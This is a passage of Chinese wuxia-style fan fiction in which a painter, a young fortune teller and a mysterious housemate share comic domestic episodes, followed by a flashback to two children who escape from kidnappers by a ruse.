说到这,菜叔左右张望一番,四周已经围了好些人在看热闹。他挡住嘴巴,凑近游年耳边低声说:“那盒子里是我族家传之宝,祖宗有命,不管贫富官寇,都不可丢失变卖。除了我兄弟二人,没有人知道我那个破烂屋子里还藏着这样的宝,我婆娘也不知道。”
那你告诉我是不是不太合适……面具遮盖住了游年的无语:“你弟弟是要盗去变卖?”
“是。那臭小子瞒着我在外赌,欠了一屁股债。债主找上门来要债,臭小子怕被我知道,起了偷拿宝去变卖填债的念想。”菜叔毕恭毕敬对着游年一作揖,“多亏了大师的卜卦提醒,让我能及时守住家宝。此于我家族而言,乃是大恩大德,请受我一拜。”
游年及时扶住:“不用跪。我师父说,总受长者跪拜容易折寿。”顿了顿,“给钱就行。”
“诶是是是,我可不能恩将仇报。”菜叔站直身子,解下腰带的钱袋,倒出里面所有钱——两个小金块,双手递上,“小店买卖仅能混口饭吃,实在没有更多的积蓄,还请大师见谅。”
谅谅谅!游年不紧不慢点点头,收下了小金块。可恶啊,面具只遮挡了上半边脸,他的嘴角要压不住了!
入世以来,第一次见到这么多钱,孩子想笑又想哭。
“还有这些,一点不值钱的小心意,还请大师不吝收下。”菜叔侧身,露出小板车上那两筐新鲜靓丽的蔬果。
游年双眼一亮又一亮。狐的天!这么多菜,他能吃很多天了!
冷静,冷静,不能像个小孩那样显露。游年轻咳一声,目光瞥到三拾脸上,故作为难:“这……”
“大师正是长身体的年纪,是该多吃些。大师,快说多谢菜叔。”三拾探了半边身子进来,义正言辞道。
“多谢菜叔。”三拾看懂了他的意思,游年心里那叫一个乐。
“不,不用谢!是我该谢大师,多谢大师。”菜叔正想鞠躬,想到什么及时停住,仅是微微一作揖。
菜叔这么显眼的做派,大伙即使没听到他和游年说什么,也能明白是游年的卦象助了他。围观群众对游年心生更多的好奇,菜叔一走,马上就有人上前来抢着排队算卦。准确来说是抢的前五名,大伙推挤着,能只出一个烧饼绝对不给两个。
抢不到前五的也不走,就站边上看热闹,听听其他人又将遇到什么事。
于是,这边一堆人围着游年,那边一堆人围着吐蕃人的爱画匠。热闹都是别人的,三拾的摊前——空空荡荡。
那爱画匠作画的时间甚快,画师们须半日才能作完的画,它一炷香时间便能结束。街上行人对此爱画匠兴趣高涨,一日过去热度不减反增,围得个内三圈外三圈观看,不时发出感叹的声音。
连老顾客梁家三小姐,此刻也站在内围圈里看那热乎出炉的爱画。
三拾有种被背叛了的感觉。
果然,做这一行,最忌讳爱上客人!
23.游年4
半日无聊过,待游年打坐结束,三拾已经收拾好了自己的摊,两人决定今日早早回家。
看着菜叔送的两筐菜果,三拾陷入纠结:要不要借个小板车?这两筐可不轻,再加上两人原有的东西,并不方便拿。
一转身,只见游年拿着魂灯穿过两个菜筐的提手,一前一后固定住,再走到两个菜筐中间,蹲下身把灯柄架到肩膀上,调整了一下位置,直接抬着两筐菜站了起来。
三拾闭上了微张的唇。好想念叶遥看,只有叶遥看和他一样手无缚鸡之力,只有叶遥看和他一样会被孩子完爆。
“咋了?”
“没事……走吧。”
游年轻松腾出一边手,掏了一个小金块递给三拾。
借住费清了,这些瓜果也省了很多天的饭菜钱,甚至活也包干了,没想到捡小孩的回报这么高。现在家里活有人干,饭有人煮,吃饱就睡,睡醒就有得吃,跟那些大富人家的少爷有何区别?
三拾拍了一天苍蝇的苦闷心情一扫而空。
到了家,游年自觉扛着菜进厨房。三拾扫视一圈自家院子,哪哪不太得劲,心里嘀咕着跟游年进了厨房,挑了些水灵的菜出来清洗。
一刀下去,三拾发现了哪里不对劲——今天怎么没人出来迎接他的归来?
他拎着刀走进屋里看了一眼,那只猫真的不在家。
不对,怎么开始关注那只猫在不在家了?人家只是借住,管太多可就越界了,闲事少管,少管。
一转身,就与刚翻上墙的二郎四目相对。
二郎像奔跑的马突然被猛拉,刹停在围墙上,半只脚还挂在外边。
片刻的沉默后,两人异口同声:
“你怎么就回来了?”
“你去哪了?”
……
“没生意就早点回。”
“出门走走。”
在生火的游年听到声,探出头——一个拿着刀站在屋下,一个猫着身蹲在墙上。
干嘛呢这是?孩子挠头。
三拾轻咳一声:“既然回来了,那你煮饭吧。”
“好。”二郎一个跃身跳下,接过了三拾的刀。
三拾默默瞥了一眼对方身上的绷带。昨晚还发烧半死不活的,今天就出门走走了?翻墙出入到底是什么毛病?
饭吃得差不多的时候,天突然下起了雨。风夹杂着雨水从窗口飘进,传来丝丝寒意。
三拾起身去关窗,想了一会,从柜子里翻出一床破旧的被子。
用力一抖,一股陈旧的味道涌进鼻腔,三拾打了个喷嚏,揉了揉鼻子,把被子扔到躺椅上,回头对游年说:“没有别的被子了,冷的话将就盖盖吧。”
游年点头,无所谓,他住桥洞那几日闻的味道更糟糕。
二郎眨巴眨巴眼睛:“我也冷,我也要盖被子。”
“你天天就穿那两条破布也没见你喊过冷,现在搁这装冷了?”
深夜,暴雨雷鸣,三拾被吵醒了。
他迷糊地翻了个身,手顺势往前伸,搭上了一片温热。那片“温热”猛得一颤,像被突然出现的黄瓜吓一跳的猫。
三拾被颤得一激灵,瞬间清醒了。他的脑子不停告诉他,不要睁眼,千万不要睁眼——
这会睁眼,两人对视,很尴尬的……
何况外面这么大雨确实很冷,现在把猫赶出被窝,好像是有点残忍……最重要的是,人家早上刚给了借住费。
三拾就这么说服了自己,装着装着又睡过去了。
他不知道,那双金色的眼睛在黑暗中一直睁着。
窗外不时闪烁的白光短暂地照亮屋内,照亮那张熟睡的脸。明明暗暗,都不影响那个人的视线。
雨下了一整夜,早晨的空气潮湿又干净。三拾醒来时,二郎已经在厨房煮早饭。
两人都默契地假装昨晚没有醒过,像往常一样。
今天依然很多人围着爱画匠。三拾有些麻木了,摸了摸钱袋子,开始考虑自己卦象后部分的“山下有雷,养待时”。
现在每日在这硬坐到天黑,无趣又无钱,反正一时半会饿不死,不如就给自己放假休息休息罢?
于是,第二天只有游年自己出摊了。三拾过上了不用画商稿,不用早出晚归的日子。
介于每天时间都很充足,三拾吃了饭就往那一坐,画一些自己喜欢但赚不了钱的画,画完拿去丢给姬月澜就跑;跑去找刘婶学做一些复杂的吃食,刘婶的手已经好得差不多了;去叶家的香玉斋溜达溜达,围观叶遥看和锦菱斗嘴,磕磕免费瓜子;路过医馆就进去和安老前辈打个招呼,听听林青荷的勇悍往事;晚上问问游年今日算了什么卦……
这日子,过得实在太舒适。
现在收着家里另两人的借住费,口袋不空也不怕饿,等钱用完了再去摆摊吧。
三拾呼出一口满意的气,嘴角上扬,转头就看到二郎站在身侧。
说来也奇怪。自从自己失业待家后,无论做什么,那只猫都要跟着,比自己的影子还贴。自己到处走,猫也到处走,现在自己认识的人,也全都认识了这只猫。
三拾忍不住问:“你没有自己的事情干吗?”
二郎眨巴眨巴眼,弯嘴一笑:“我的事就是看你在做什么事。”
以至于现在上茅房,他都得说一句“去茅房”,二郎才停下脚步留在原地。
三拾蹲在茅房想,以前在长歌门的时候,微山书院附近有一只小橘猫也是这般黏人,喜欢跟着来来往往的人跑,讨摸摸要抱抱的。
嗯,都是猫,倒也合理。
但让三拾感到更奇怪的是——这猫最近夜里不再悄悄爬床了。
难道是因为白天都跟着,晚上反而想清净了?这不像猫的性格。
夜里躺下,三拾还在想这个问题,寻思装睡看看猫晚上睡哪。但鉴于自己总是入睡太快,三拾开始在脑海里画画,好让自己清醒着。
嗐,一个画师,想象力最好了。
月光弥漫,屋内阴暗的角落都被照亮。三拾闭着眼不动弹,脑海里在风云翻涌。
眼皮上的白芒突然暗了下来,有人站在床头挡住了月光。
猫今晚忍不住要来爬他床了?
三拾呼吸平稳,装睡装得很熟练。
正认真装着呢,亮光突然重新涌入了眼眶。三拾眉眼微皱,又迅速平缓。
猫应该没发现自己在装睡吧?
“吱——呀。”门开了。
三拾的耳朵清晰地捕捉到这个动静。
“吱——。”门关了。
四周再次陷入寂静。三拾睁眼环视屋内,游年在躺椅上睡得都流口水了。
他起身,轻手轻脚走到窗边望——猫不在了。
刚才似乎是来确认自己是否睡熟。难道这几日夜里都是如此?
吃早饭的时候,众人脸色如常。
二郎咬了一口馒头,掏出一个金块扔给三拾:“新的借住费。”
三拾摸了摸那光滑的金块,默默收进口袋,喝了口稀饭才开口问道:“你的钱不是早就用光了吗?”
二郎咀嚼的动作卡住,艰难地咽下馒头。他不太想说,于是模仿三拾平时的语气:“江湖上的事情少打听。”
三拾点点头,面无表情把碗里的稀饭吃完,起身往外走。二郎也跟着站起来,手里还拿着半边馒头。
“我陪游年出摊就回,你在家里等着,吃完把碗洗了。”
三拾交代的事他都会听,二郎没有异议,坐下继续吃。
游年有异议,孩子还没吃饱,但三拾的眼神在狂戳他。游年瘪了瘪嘴,一手拿两馒头就起身。
出了门,三拾却跟他分开走了。游年想挠头,举起手看到馒头,转为塞嘴里吃起来。干嘛呢这是?
碗洗到一半的时候,二郎听到院里传来开门声。
这么快就回来了。二郎乐呵呵探头出来,一眼看到的是跟在三拾身后进门,穿着天策府服饰的人。<
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p>二郎:?
三拾把人领到二郎跟前,手指二郎,正气凛然道:“军娘,就是他。我要举报他的钱财来源不明,我怀疑他半夜行窃。”
二郎:????
李非阳立马上前,握着二郎的肩膀,再去抓他湿漉漉的手腕,往后一掰,正色道:“请跟我走一趟。”
“等……等一下!”二郎一个侧身,就着力挣脱了李非阳的擒拿。
“有话可以等回到天策府再说。若是不从,我将视你为抗令。”说罢李非阳抽出别在身后的长枪,摆出了战斗姿势。
二郎没有理会李非阳,摆着手向三拾走去,一脸难以置信:“我没有行窃!”
三拾绕到李非阳身后,躲开二郎的靠近:“军娘,这只m……人最近夜里,趁着屋里人都睡了就鬼鬼祟祟出门,第二天就能拿出钱。大晚上去哪里赚的钱?问他他还让我少打听,我怀疑不是行窃就是抢劫,你快抓他回去。”
二郎手足无措,慌忙去追三拾:“我不是!我没有!你听我解释!”
“你跟军娘解释。”
“你听我说!你听我说!”
“我不听我不听我不听。”
李非阳眉头抽搐,忍无可忍,长枪一横,阻断两人:“停!别绕了!好好说话!”
这么一拦,二郎倒是冷静下来了,智商回笼,他无奈地笑了一下:“我能证明自己的钱财来源干净。”这个坏家伙,自己不想说的就糊弄略过,别人不想说的就用各种方法旁敲侧击的去打听。罢了,总归他开始对自己感兴趣。
三拾目移,回避了二郎看穿一切但宠溺的目光。
“去街尾的孟家铁铺,掌柜的能替我作证。”
孟掌柜笑得眼泪都出来了,证实了二郎最近夜里都会到他们铁铺来干活,赚点生活费用。二郎说是因为白天要陪着三拾到处走,所以才晚上来。
孟家铁铺是多年老字号,梅花街无人不知无人不晓,口碑一直很好,深得天策府信任。二郎被当场释放。
三拾与二郎,沉默着相伴走在回家的路上。
“别摆那副表情了,冤枉你是我不对,免你接下来一个月借住费如何?”
二郎沉默,二郎瘪嘴,二郎委屈。
“……床也分你一半可以了吧?”
“哦,那可以。”二郎一秒变脸,嘻嘻。
三拾抿了抿嘴,有种自己挖坑往里跳的感觉。
三拾知道孟掌柜,不是天策府知道的那种表面知道。
孟掌柜其实是一个接线暗桩。
无论是正派还是反派,江湖多事身不由己,总有一些人和事是他们无法亲自出面处理的,所以悬赏令这种东西便出现了,孟家掌柜这个身份也随之出现。
孟家掌柜并不是一个人,站在那里的“孟掌柜”皮下换了多少个没有人知道,只知道带着这张面皮的就是孟掌柜。
大隐隐于市,无数的悬赏令在这家普通的铁铺发出,再被各路高手接到,完成后再按照指引领取赏金。发令的人保密,接令的人也保密,铁铺自会替各路高手打掩护。
二郎把人领到这来,三拾便知道他干的是什么活。白天的铁铺固然是普通铁铺,三拾方才还跟头上缠着绷带的老罗打了招呼。但二郎不是白天来的——
初次见面时他重伤要死的样子,前几日伤口突然裂开发烧……
三拾没有拆穿二郎,二郎不想说自有他的考量。正如,三拾也不打算告诉二郎,他这个普通的小画师,为什么会知道孟掌柜。
自己最近失业了天天待家,猫不想暴露,也就不得不选择晚上才出门干活。
有点佩服,居然都能赶在他睡醒之前回到家,白天还一直跟在身边溜达,这猫都不用休息的吗?
“来都来了,去看看刘婶吧。”
“嗯?你们要去看刘婶吗?”
三拾这才发现李非阳还一直跟在身后。
“啊别误会,我正好要去那边巡逻,同路。”李非阳笑了笑。
24.刘如月 x 李非阳1
三拾有点心虚,大早上的去喊人上工,结果是个乌龙。
李非阳抬手打断了他的歉意:“不,你大义灭亲值得赞扬。只有人人都能像你这般勇于举报不法,百姓们才会更安全。”她点着食指看向二郎,“以后有什么事,小两口摊开了说,不要遮遮掩掩你瞒我瞒的,你瞧,不但影响感情,还会给自己带来麻烦。”
诶不是,怎么就小两口了,怎么就这么苦口婆心的?
二郎乖巧低头,诚恳接受批评:“我知道了,以后不会了。”
诶不是?你倒是否认一下啊!
“我俩不是……”
“咦,怎么有匹马在这儿?”李非阳突然双眼一亮,从两人中间快步穿过。
三拾被打断了读条,注意力也随着她转移——一匹马突兀地出现在刘婶的院子里。
李非阳心花怒放,摸了马头,又轻轻抚着马身,嘴里念叨着“乖宝”“好乖乖”。
“你还是那么喜欢马。”
李非阳循声转头,脸上的笑容瞬间凝固,嘴角逐渐滑落,抚摸的动作也定住。
马儿被摸得舒服,向着李非阳晃晃脑袋,示意她不要停。李非阳没再回应它。
三拾好奇张望:一位眼生的女子,身着黑金软袍,束着简单马尾,干净利落依靠在门边,脸上带着淡淡的笑。
“小阳,好久不见。”
李非阳紧盯着门边人,嘴巴因震惊而微张。那张坚韧中带着柔美的脸与记忆中的少年重合。
边关常年的寒风侵蚀掉年少的柔和,即便已经换下了寒甲,一身冷冽的气质仍让人不敢靠近。她只是靠在那,仿佛依旧置身于那片孤寂的寒冷中。
一个在心里念了很多年的名字,此刻要从嘴里念出来,竟难以开口:“如月……哥?”
刘如月咧嘴笑了,笑容化掉了一身冰气,春回大地般温暖。
李非阳脑袋空白。
五官长开了,但依旧能分辨出就是记忆中的少年。那纤细的腰身,象征着女性的曲线,都狠狠地打击着李非阳的记忆。少年的模样像被石头砸中的镜子,逐渐破裂——她该叫刘如月姐姐。
刘如月身后传来另一个熟悉的声音:“都搁外面站着干嘛呢?进来坐吧。”刘婶手里端着糕点蜜饯走过。
最近时不时带着二郎过来溜达,刘婶已经跟二郎相熟。三拾看着那两个满脸写着“有故事”的人,带着二郎先一步进屋。
刘如月伸出右手,食指中指伸直,两根尾指半弯曲收向掌心,四指收摆两下,与小时候任何一次向李非阳招手,示意她过去一样。
李非阳微张的嘴紧紧抿起。雁门关的风雪仿佛穿越千里万里,落在她的肩头她的鞋面,有千万吨的重量。她艰难地迈开脚步,跟着刘如月进屋入座。
她的双眼紧锁在刘如月身上,似要把对方离开十年间的变化一一刻入脑海。转身,走路,坐下,每一个动作……变了很多,又好像一直没变。
“咔叽。”
刘如月抓起一把蜜饯,把蜜饯一颗一颗摆在李非阳面前,再拿起一块圆糕点,放在摆出月牙图案的蜜饯旁边。
李非阳目光落到桌面,扯出一丝苦笑。画面与记忆重叠,耳边回响起稚嫩的声音——
“如月哥哥你看,这个月亮是你,这个太阳是我……”
坐得板正的刘如月放下书卷,看向笑得甜美的小人儿。“小阳,吃那么多甜食,李伯伯要骂你牙齿吃坏掉了。”
李非阳捏起月亮尖尖那颗蜜饯,扔进嘴里:“爹爹出远门啦,他不知道!”
刘如月没忍住,笑着伸手捏了捏那粉嫩肉乎的脸蛋。李非阳瞪着大大的眼睛,发出不满的呜呜声。
“如月哥哥,你在看什么书?”
“兵书。”
“兵书是什么书?”
“就是讲行兵打仗的书。”
李非阳歪了歪脑袋:“好看么?”
刘如月摸了摸李非阳头上绑的小丸子:“小阳还小,看不懂。”
“哼!胡说!我识字!”李非阳抢过那本书,短短的食指点在纸面上,一个字一个字慢吞吞地念。念到不会的就皱起眉头撅起嘴,卡在那儿盯很久。
刘如月伸头去看:“这个念廊。”“这个念阖。”“亟。”
读了几句李非阳就没兴趣了,双手一伸把书推回给刘如月,拿起桌面的糕点吃。刘如月浅笑着捏了捏她的脸。
“如月哥哥为什么要念兵书?”
“因为我很爱这片土地,想要守护这片土地。”刘如月低头看向李非阳,目光坚定,“守护小阳和大家生活着的这片土地。”
……守护小阳和大家生活着的这片土地——如月留。
信纸边缘皱起,李非阳的指尖因用力而泛白。她猛地抬起头,声音哽咽:“刘婶婶,他什么时候走的?”
“昨天夜里。”
“为什么……”
刘霜岚抚着她的背,语气轻柔:“小阳,你知道的,参军是她最大的念想。”
她知道,她当然知道!
她只是不明白,为什么是不告而别,是因为她说过的那些话?
“为什么不告而别?”李非阳握起拳头,呼出一口气,把情绪压了下去。她已经是成熟的天策府军人,岂能那么容易受情绪挑动。
刘如月闻言微愣,淡淡一笑,捏起月亮角角的蜜饯吃:“我还以为,你会更在意我女扮男装骗你呢。”
“咔叽。”
“刘婶婶已经跟我说过,你是女子。”
只是……十年未见,曾在脑海中幻想过无数次重逢的画面,幻想过无数个她恢复女子身冷静指挥兵马的模样。
突然这一刻,毫无预兆的,她就出现在了眼前。
“因为……”
“咔叽。”
刘如月到嘴边的话咽了下去,转头看向桌对面,在咔叽咔叽嗑瓜子破坏气氛的家伙。
四周寂然。
三拾默默闭嘴,默默放下刚磕开的瓜子,讪讪地端正坐好。
眼角瞥到二郎托着腮,百般无聊地戳着一块糕点,三拾伸手在桌下拍了一把他大腿。二郎回过神,对上三拾暗示的眼神,放过了那块被他戳到散架的糕点,乖巧坐好。
这么一打岔,李非阳憋着的那股气突然就泄了。
她低头站起身:“我还在执岗,我先回去巡逻了。”说完头也不回就走了。
三拾顿时坐如针扎:“啊这……”
看看离开的背影,看看刘如月,看看刘霜岚,看看背影……
刘霜岚笑了:“没事,不怪你,她正需要一点时间去消化。”
分别十年,李非阳已经不懂得要如何与刘如月相处了。
三拾擦了一把虚汗:“我听闻,刘婶有一儿子去雁门关当兵了,这位姑娘……?”
刘霜岚与女儿相视一笑,握过女儿的手,乐呵呵道:“对,这就是我那个去当兵的‘儿子’。”
什么?我那个可以一起喊娘……不是,一起吃饭的未来结拜兄弟,是姐妹?
雁门关常年风雪侵蚀,三拾远远看着,如果不说,谁会知道那同样饱经风霜的两双手来自一对母女?那道狰狞的疤痕横穿刘如月整个右手背,显得其他深深浅浅的小疤痕就像小孩玩弄墨水留下的脏痕迹,一洗就能洗净。
“她小时候长得周正,穿上男子衣服像模像样的。”如今眉眼长开了也周正。面无表情时带着不容置疑的威严,微笑时又是化暖融掉寒冰的春风。
李非阳初见刘如月,就是少年俊俏的模样。
黯淡的光线从窗户透进来,霉旧潮湿的气味涌进鼻腔。李非阳睁开眼,一个陌生的身影站在门边,透过缝往外
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看。
意识逐渐回笼,双手被捆,李非阳艰难地坐起身子,环视四周,声音发懵:“这是……哪儿?”
那个身影听到声音回头。门缝的光照亮她半边脸,眉骨立体,鼻梁高挺,一双凤眸狭长上挑。李非阳看到对方高束的马尾旁有几根凌乱的头发,在光线下耀武扬威地伸张着。
那人向李非阳走来,李非阳回过神,下意识地向后挪了挪身子。
“别害怕,我不会伤害你。”少年背着手蹲下身,微笑以示友好,“我叫刘如月,你呢?”
“李……我叫李非阳。”
刘如月点点头:“小阳乖,冷静听我说。看情形我们都被绑架了,你能想起来自己是怎么被抓的吗?”
李非阳歪了歪脑袋,圆圆的大眼睛咕噜转了一圈。
她记得,她跟父亲讨了钱要去买糖葫芦。回来的路上看到一只小猫蹿过,她咬着糖葫芦,追着小猫上跳下跑,拐弯进了一条寂静的小道后,小猫不见了。
她正到处找的时候,转角处传来一些奇怪的声音。循着声音,她看到了两个大人正抓着一个孩子。一个大人用布捂住了那个孩子的口鼻,孩子挣扎一翻后就软了下去。两人把孩子扔上了旁边候着的板车,用杂物干草遮掩起来。
李非阳无意目睹了过程,害怕得不敢动,更不敢出声,悄悄躲在墙根后面探头看。
突然冒出一块布,捂在了她的脸上,她用力去抠那个箍在她身前的手臂,恐慌让她拼命挣扎着要把那块布扒掉,困意涌了上来,然后她就睡着了。
“他们为什么要抓我们?是人贩子吗?”
“不知……”
门外突然传来脚步声,刘如月眉头一皱,迅速躺下,小声喊着李非阳:“快躺下装睡,不要动!”
李非阳闻言,立马躺下。
脚步声越来越近,木门发出衰老的吱呀声,光线涌入屋内。
人影靠近,挡住了光线。李非阳默默祈祷着——不要再靠近,不要再靠近……再近,他们就能听到她砰砰作响的心跳声,会发现她劣质的装演。
一个浑厚的声音在上方响起:“不是只抓这个小鬼吗?为什么多了一个?”
另一个略微尖细的声音回答道:“老大,抓那小鬼的时候,这女娃子躲在旁边偷看,怕她大喊大叫引起注意,就把她也蒙晕带上了。”
李非阳听到拳头碰撞身躯的声响,尖细声音闷哼一声。
浑厚声音:“蠢货!蒙晕不就行了吗,这不是增加了一个麻烦?”
尖细声音:“是是是!老大说得对,老大说得对,是小弟愚蠢,考虑不周……”尖细声音停顿片刻:“那……那老大,现在要怎么处理?直接把那女娃给……?”
刘如月偷偷眯着一条缝,她看见那尖细声音的人做了一个抹脖子的手势。
浑厚声音:“找机会处理干净,随便你怎么处理,别留痕迹。”
尖细声音哈腰点头:“是,是,我一定处理干净!”
脚步声响起,门砰一声被关上。
刘如月眯着眼睛确认人都走后,缓缓坐起来,低声道:“看来,你是被连累的。”
李非阳听到了,恐惧和悲伤涌上心头。
她要死了,再也见不到父亲娘亲了。
刘如月看向门口思考着,转头一愣——小人儿低着头,眼泪跟河水似的流。
刘如月要抬手去给她擦,才想起手还被捆着。她跪起身子,用膝盖走了几步,拉近两人的距离,把脸凑近哭泣小人:“小阳。”
小人儿不语,只一味流泪。
“小阳,看着我。”
李非阳用力闭眼,把眼眶的眼泪挤出去,视线变得清晰,抬头看向刘如月。
刘如月神情坚定,语气温柔:
“小阳别怕,相信我,我一定会救你出去的。”
25.刘如月 x 李非阳2
刘如月眯着眼睛,确保人走门锁后缓缓坐起,神色愧疚:“看来你是被连累的。”
“处理”,李非阳听到了。就像父亲把鱼递给厨子的时候会说“把鱼处理处理”,坏掉的木架会被娘亲丢进火里“处理”。她要被“处理”了,她要死了,再也见不到父亲和娘亲了。
刘如月思索着,转头一愣——小人儿低着头,眼泪河水似的流。
孩子被吓哭了。
刘如月直起身子,用膝盖走了几步,拉近两人的距离,弯腰把脸凑近哭泣小人:“小阳。”
小人儿不语,只一味流泪。
“小阳,看着我。”
李非阳不想搭理,她马上要被“处理了”,没心情。
“小阳,你抬起头来,看着我。”
对方语气温柔却不可抗拒。李非阳用力闭眼,把眼眶的眼泪挤出去,视线变得清晰才看向刘如月。
“别害怕,相信我,我一定会救你出去的。”
刘如月表情严肃,眼神坚定。
李非阳看着她,情绪一点一点被她的眼睛吸掉。她吸吸鼻子点点头,含糊地应了一声。想擦眼泪但没手可用,李非阳往前探身,一头砸在刘如月胸前,胡乱擦了一把。
刘如月被砸得闷哼出声,蹙着眉低头看那两个圆圆的小揪揪,不自觉挺直身子,好让对方靠……擦得舒服一些。
离开温暖的胸膛,两团水迹扭扭歪歪的,像画了张怪异的人脸在衣服上,李非阳的悲伤一扫而空,噗地笑出一个鼻涕泡。
刘如月愣了一下,默默转头假装没看见。李非阳羞红了脸,兀自向另一边转头,说话还带点鼻音,但现在转移话题迫在眉睫:“那我们现在怎么办?”
没心没肺的小人儿……
“找机会逃。”
刘如月再次起身去扒门缝,瞄了一会。
还是抓她的那两个人在守着,两人并无对话,各自认真站岗。
当时是其中一人伪装有难,骗她出手相助,路上还故意找话聊让她放松警惕。走到无人的地方,他的同伴假装成路过的人,突然出手,刘如月没来得及反应,被两人合力迷晕抓走。
刘如月回头,李非阳正在屋里转。屋内被清理过,没有留下任何东西。随身带的防身小刀也被搜走了,相当谨慎。唯一的意外就是突然闯入的李非阳。
有目的,有计划,有纪律。刘如月心里有了些眉目,大抵猜了下是什么人抓她。
她走到李非阳身侧说道:“眼下,我们得先想办法把绳子解开。”
李非阳直接绕到刘如月身后,俯下身子。刘如月疑惑转头:“是找到了什么工具可用吗?”
“没有工具,也不需要工具,”
“你是想……用嘴?!”刘如月震惊——又没有太震惊。她也听过很多话本里英雄侠客的故事,在危难时刻都是用嘴替伙伴解绳子的。
李非阳小嘴一抿,翻了个白眼:“你怎么傻了吧唧的,直接用手解就好啦!”
刘如月汗颜:“啊……?”
“我解不了自己的,但我可以解你的。你蹲下一点,我够不着。”
刘如月乖乖半蹲,把自己的绳子对准李非阳双手的位置。
李非阳被束在身后的手去摸索绳结。食指抵住绳结,一边把拇指和中指发力往绳结中间钻,一边紧捏绳头一点一点往后扯。这麻绳略粗,绳结打得实,李非阳咬着牙,费尽九牛二虎之力,将将把手指钻了进去。手指进得去,绳结也就撬松了些许。
李非阳把五指张开缓解酸痛,接下来就是需要时间,一点点把绳头抽出来了。
“我跟你说,我可会解绳子了。”李非阳嘿嘿一笑,十分得意,“我们家是开布铺的,我娘为了治我到处跑扰乱他人,就会把一堆杂乱无序的绳子丢给我让我解闷。解得开就奖励一些吃的,我每次都能拿到奖励!”
刘如月笑笑:“你真厉害。”
李非阳不满哼哼:“夸得真敷衍!”
刘如月无奈:“没有,真心夸赞的。小阳非常厉害。”
李非阳高兴哼哼:“这还差不多。”
眼看绳头扯一半了,刘如月说起正事:“小阳,我有个逃跑计划先说予你听……”
“不行!我怎么可以抛下你自己跑,我爹爹说过,做人要仗义,切不可做自私自利,仅想着自己活的人!”李非阳一急,手就停下来了。
刘如月晃了晃手示意继续解:“没让你抛下我呢。不知道对方有多少人,你是误入他们计划的一环,他们还得花心思处理你。你逃出去了他们不一定会硬追,但如果我俩一起逃了,他们一定会硬追。他们不是普通的流氓劫匪,我们逃不掉的,我拖住他们让你跑。”
李非阳瘪起嘴:“我……那你怎么办?”
“只有你先逃出去了,我俩才能都有救。你知道他们是怎么把我们运过来的吗?”
李非阳歪着脑袋想了想:“板车?”
“对,这板车就在院子里放着。白天耳目众多,出入城门会被守卫搜寻,他们要把我俩藏起来带出去并不容易,所以我猜我们还在城内,只是不知道离梅花街有多远。”
“那我逃出去之后要怎么救你?”
“我说一句密语,你记下来。你往人多的地方跑,边跑边喊,会有人主动找你的。”
李非阳在心里默念了几遍密语:“我记住了。”
“小阳真棒。”
突然的夸赞让李非阳小脸一红,高兴地哼了哼。
手腕忽地一松,绳子解开了。刘如月活动了一下疼痛的手腕,踢了踢蹲麻的腿,连忙给李非阳解绳。
准备就绪,刘如月转动身后的手腕,确保虚绑的绳子她只需稍用力就能挣脱。
“他们会不会打你,伤害你?”
“不知道,所以你得跑快些。小阳,我的命,可就交到你手上了。”刘如月微笑着,仿佛两人只是在讨论今天天气如何。
李非阳的心跳开始加速,额头冒出细汗,身后的双手捏起拳,她僵硬地咽了咽口水,郑重地朝刘如月点头。
刘如月意会,当即往地上一躺,开始喊叫:“呃啊——好痛——”
模样逼真得李非阳内心一抖,也跟着开始慌张。她直接往门口一撞,对着门外喊:“救命啊!来人啊!救命——”
“啊——”
“救命啊——有没有人——救命——”
“救命——”
“好痛——呃——”
此起彼伏的呼喊声响了不多
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时,李非阳听到了钥匙碰撞门锁的声音。
门从外面被打开,两个绑匪板着脸出现。李非阳不等他们开口,抢着说道:“救命啊!你们快看看他!”表情又急又怕。
绑匪甲皱着眉看向在地上翻滚的刘如月,问道:“怎么回事?”
“我不知道!那人突然就开始大喊大叫的,看起来很痛苦,他不会要死了吧?!”
刘如月那边还在叫喊着,眼看这么大动静进来的仍然是那两人,悄悄给李非阳使了个眼色。李非阳了然,瞪大着眼睛,趁绑匪不注意突然尖叫一声。
尖叫声直穿透绑匪的耳朵,绑匪甲一把把她堆倒,揉着耳朵凶神恶煞说道:“闭嘴!吵死了!”
李非阳这一屁股蹲摔疼了,眼泪就流下来,开始哇哇大哭。绑匪瞪着李非阳,不耐烦地龇起牙:“再哭就把你杀了!”
李非阳瘪起嘴,十分害怕的模样,低着头不再发出一点声音,任由眼泪静静流着。
绑匪靠近刘如月查看。刘如月猛得一翻过来,一边脚冲着绑匪扫过去。绑匪急忙避让,心想着这小子莫不是故意的?却见刘如月依然是面目狰狞地曲着身子,惨叫声连连。
两个绑匪互相对视,低声讨论起来:“这看起来像犯病了。”
“怎么办,上面也没说这小子有毛病啊?”
“管他的,我俩又不是医者,任务只是看管,看着别让他跑了就行。”
“话不是这么说,万一他死了,上面会不会怪我们没看好?”
“嘶——”
两人正说着,刘如月又一脚扫了过来。这一脚扫空,刘如月紧接着双脚对着两个绑匪狂踢猛踩,像条失水的鱼在打挺。
“臭小子发什么疯!按住他!”
两个绑匪一人抓着肩膀一人抓着腿,硬生生把人按住。刘如月挣扎半天,渐渐地疲了力,绑匪乙舒了口气,松开手。刘如月一飞脚,直直踢中绑匪乙的下巴,又弹跳呼喊起来。绑匪乙大骂一声,接着去按。
刘如月寻思差不多了,直接闭上眼。
绑匪甲眼瞅着人没了动静,探了探鼻息,活着。抬手扇了一巴掌,毫无反应,看是昏过去了。绑匪乙朝刘如月踢回一脚。
两人抬脚往门外走,一转身——屋里另一个小身影不见了。
李非阳出了门就把虚套的绳子扯下,撒开腿跑。她实在很怕半路遇到其他的绑匪,只能拼了命跑。边跑边观察四周,没有人,路况很陌生,不知道这是哪里,跑,只能跑。
凌冽的空气灌进她的鼻腔,耳边只有呼啸的风,她感觉心脏就要爆炸了。
跑着跑着,她开始察觉路口眼熟了。李非阳从小就爱到处蹿,且擅长认路。在大街小巷里溜达,到处招猫逗狗,梅花街没有她没踏过的巷子。走腻了梅花街,她就扩大地图,往周边的街道荡。她清楚地记得哪条巷子有棵果树,哪个路口的杂货摊主养了一只鸟,哪家的门前有块奇怪的牌子。
比如现在,她知道下一个路口左转弯处的人家,屋墙上爬满了藤蔓。
李非阳判断出了方向,在转弯处往右跑。
果不其然,街上开始出现人了。
李非阳喉咙干得要冒火,她咽了咽口水,张嘴大喊:“逍遥此意,隐踪铸锋!”
26.刘如月 x 李非阳3
“逍遥此意,隐踪铸锋!逍遥此意,隐踪铸锋!”
